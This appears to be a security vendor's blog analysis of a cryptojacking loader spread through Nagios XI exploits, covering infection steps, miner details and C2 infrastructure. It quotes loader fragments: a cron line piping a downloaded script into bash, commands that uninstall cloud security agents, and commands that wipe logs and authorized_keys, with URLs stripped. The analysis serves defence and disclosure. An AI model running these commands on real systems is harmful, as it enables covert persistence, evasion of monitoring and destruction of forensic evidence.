Carbine Loader Cryptojacking Campaign

Tom Hegel
Cloud Security Researcher, Lacework Labs

Carbine Loader Cryptojacking Campaign
Lacework Labs recently came across an interesting shell script that’s part of an opportunistic Cryptojacking (T1496) campaign. This campaign operated through the remote code execution of public facing Nagios XI applications. We have dubbed the loader script “Carbine Loader” during our clustering process.

As background context, Nagios Core is a free and Open Source IT infrastructure monitoring solution, while Nagios XI is a commercially available UI system framework built on top of Nagios Core. The activity observed in this blog is isolated to targeting of Nagios XI and its associated addons. Based on open source data (Shodan/Censys), up to roughly ten thousand Nagios servers are publicly accessible globally, with the majority being hosted on AWS.

Key Points:

  • Opportunistic actors targeted public facing Nagios, Nagios Docker Wizards, and Nagvis Nagios visualization addons for remote code execution.
  • Carbine Loader consists of generally publicly available and widely circulated functionality to infect, gain persistence, and spread laterally through SSH.
  • Vulnerability scanning against targets was conducted through the same C2 infrastructure configured in the loader samples observed.

All IOCs can be found on the Lacework Labs GitHub. Also, please follow @LaceworkLabs Twitter to keep up with our latest research.

Exploit / Initial Infection

The attack process:

  1. Attacker scans public infrastructure for Nagios RCE n-day vulnerabilities. RCE (T1190) attempt is made, downloading loader (shell script) (T1059.004) from C2 server. Loader downloads/configures XMRig miner, sets persistence through cron(T1053.003), spreads laterally through SSH access (T1024.004), and cleans up evidence of actions.
  2. Initial infection methods for this campaign could vary due to the variety of widely available exploits for Nagios XI vulnerabilities. However, as of the writing of this blog, some infections potentially happened through CVE-2021-3193, CVE-2017-6393 and other Nagios associated vulnerabilities.
  3. CVE-2021-3193 allows an unauthenticated attacker to perform remote code execution (RCE) through the Nagios Docker Config Wizard versions below 1.1.2, which is available through Nagios XI 5.7.

Some users on the Nagios support forum happened to be compromised by the campaign in the previous months. In one case, the user noticed the CPU load average reaching critical use – an indication of post-compromise cryptojacking. In another case, a user reported the suspicious inbound requests to their Nagios XI host. These requests were isolated to Nagios XI, Nagios Docker Wizard, and the NagVis Nagios visualizer.

Loader Analysis

The loader infection process and overall functionality can be broken down into a few simple steps.

    1. Configured Hugepages on the victim machine, which is not incredibly useful but relevant to add for mining efficiency context. This simply provides the miner with an improved mining permormance.

ulimit -u 50000
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))

    1. Next the loader executes a function in an attempt to evade detection by uninstalling monitoring agents for Tencent Host Security (YunJing) and the Threat Detection Service (Aegis) from Alibaba Cloud. Lacework has observed this function being openly reused across various cloud targeting threats, such as the H2miner botnet, TeamTNT, and Rocke Group.

if ps aux | grep -i '[a]liyun'; then
(wget -q -O -||curl -s|bash;
/tmp/; bash /tmp/
(wget -q -O -||curl -s|bash;
/tmp/; bash /tmp/
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
sleep 1
echo "DER Uninstalled"

    1. Next, the loader executes a function to remove competing Cryptojacking files and processes. The majority of the removed files are in /var/tmp/ and /tmp. This list, which is again reused across many scripts floating around, gives an idea to the number of opportunistic “Cryptojackers” being used across the threat landscape.

pkill -f curl
pkill -f /tmp/avalonsaber
chattr -i /tmp/avalonsaber
rm -rf /tmp/avalonsaber
rm -rf /usr/bin/config.json
rm -rf /usr/bin/exin
rm -rf /tmp/wc.conf
rm -rf /tmp/avalonsaber
rm -rf /tmp/log_rot
rm -rf /tmp/apachiii
rm -rf /tmp/sustse
rm -rf /tmp/php
rm -rf /tmp/p2.conf
rm -rf /tmp/pprt
rm -rf /tmp/ppol
rm -rf /tmp/javax/
rm -rf /tmp/javax/sshd2
rm -rf /tmp/.profile
rm -rf /tmp/
rm -rf /tmp/kworkerds
rm -rf /tmp/kworkerds3
rm -rf /tmp/kworkerdssx
rm -rf /tmp/xd.json
rm -rf /tmp/syslogd
rm -rf /tmp/syslogdb
rm -rf /tmp/65ccEJ7
rm -rf /tmp/jmxx
rm -rf /tmp/2Ne80nA
rm -rf /tmp/dl
rm -rf /tmp/ddg
rm -rf /tmp/systemxlv
rm -rf /tmp/systemctI
rm -rf /tmp/.abc
rm -rf /tmp/osw.hb
rm -rf /tmp/.tmpleve
rm -rf /tmp/.tmpnewzz
rm -rf /tmp/.java
rm -rf /tmp/.omed
rm -rf /tmp/.tmpc
rm -rf /tmp/.tmpleve
rm -rf /tmp/.tmpnewzz
rm -rf /tmp/gates.lod
rm -rf /tmp/conf.n
rm -rf /tmp/devtool

    1. The loader will then inspect running processes on the victim host and kills any consuming more than 50% of the CPU. Immediately after, the kill_sus_proc() function will run, which kills running processes it finds suspicious as a defense mechanism. This includes phpguard,, phpupdate, or networkmanager. These processes are likely associated with the WatchDog Cryptojacking campaign.

    1. Now we move on to the more interesting tasks - such as setting persistence. The loader sets ths URL variable to the malicious C2 server, which in this case is URL="", immediately followed by unlocking cron, setting a beacon via cron for every twenty minutes, then locking cron again. The beacon is set to be either a curl or wget request to ${URL}/ This essentially downloads the same loader for execution if removed without sanitizing cron - a basic persistence mechanism.

echo "*/20 * * * * (curl -fsSL ${URL}/||wget -q -O-
${URL}/|/bin/bash" | crontab -

    1. OS version checking is performed next. This is done through a simple uname check for x86_64x or amdx. For x86 the file /h1 is downloaded from the set C2 host ($URL), and /h2 for amdx. In both bases, the downloaded file is saved as/tmp/avalonsaber, added executable permissions with chmod +x, and sets nohup to ensure download continues despite a logout.

    1. Avalonsaber is the miner software, which at this point is downloaded onto the victim host. An XMRig “Rig Identifier” is set as a random three digits and the mining server is set to Errors are set to be discarded by using >/dev/null 2>;&1 and lastly /tmp/avalonsaber is set as immutable with chattr +i.

    1. Now that the cryptojacking has begun, the attacker seeks out additional tasks valuable to their campaign. For example, at this point the loader performs lateral movement by enumerating /root/.ssh/known_hosts and then /root/.ssh/ for opportunities to access other systems from the victim host. This approach is not new, but it continues to work quite well at downloading and executing the script on other hosts to expand the victim list and mining performance.

    1. Finally, the remaining tasks are simply cleaning up the evidence of activity by writing 0’s through the echo command to various areas of the victim host. This includes SSH authorized_keys, spool mail (root), and logs of wtmp secure and cron. This is all an effort to make investigations and response more difficult for victims, especially with regards to the lateral movement via SSH.

echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

Please note, the files 4ae513b6f46132aec7d1c268e6ee981af1ac0ab6d92c448c7c9bdedd63e3c303 and 5f19a959b36c2696ef95873017b48ab03c3ae83ecae2ea5092a30fb6179f5c7c are very similar, with the latter including the addition of to /etc/hosts - potentially an older version of the original loader. Additionally, 67ce0dbe860841a70026de673be1a5fc5062e293dbfb05564bb8eb489ce56c44 is available publicly, which contains a loader configured with the alternate C2 server ( which happens to also lack the randomized Rig ID configured.

Miner Analysis

As noted in the script analysis section, the victim will either download an h1 or h2 file from the C2 server, saved as “avalonsaber”. These files are packed XMRig miners, such as the amdx h2 b0a7aa88d5db826b95a1c53e92dd19b7cfe4fb87fbd218a16d170c1644d57b0b which unpacked isd6e77ec049176143afdc4f602f8764e001ebfcbe9f9ffb2aa1417b74d5818c61.

The downloaded miner is XMRig version 6.7.0. The configured mining pool is over port 443 for TLS. Notably, the set wallet address is 42BhDhviGfsaQeYy2t5eGxPnuuFgmwARbbHm2XzcCxVzU9WjHSLWmmoXcYVQERATYhjHK6zthSzSRD7h5HKKAgfXKr1Abk1 and an XMRig donation level of 0%.

Inspecting the wallet shows the attacker mined about 2.7 XMR which is roughly a disappointing $900 in today's value. Additionally, we can see the payment activity of the mining pool to the attackers wallet.


Reviewing the infrastructure associated with this campaign yields helpful insights. The original C2 destination ( resolved to (Choopa LLC) in January, then to (CNSERVERS LLC) for the tasks of its campaign. The domain itself is supplied through the ChangeIP dynamic DNS service.

The related loaders use the C2 server, which also began actions in January 2021, resolving to (LG DACOM). Again, the dynamic domain is provided through the ChangeIP service.

As previously mentioned, the C2 infrastructure was used for both vulnerability scanning target hosts in addition to to delivering the associated loader.


Nagios administrators should immediately update both the Nagios XI 5.8 and Docker Config Wizard 1.1.2. Heavy considerations should also be made for the necessity of publicly accessible Nagios applications for defense against future vulnerabilities. As can be seen on the Disclosed Vulnerabilities page, there is a vast opportunity to compromise publicly accessible unpatched Nagios products.

Indicators of Compromise



All IOCs can be found on the Lacework Labs GitHub. Also, please follow @LaceworkLabs Twitter to keep up with our latest research.


Suggested for you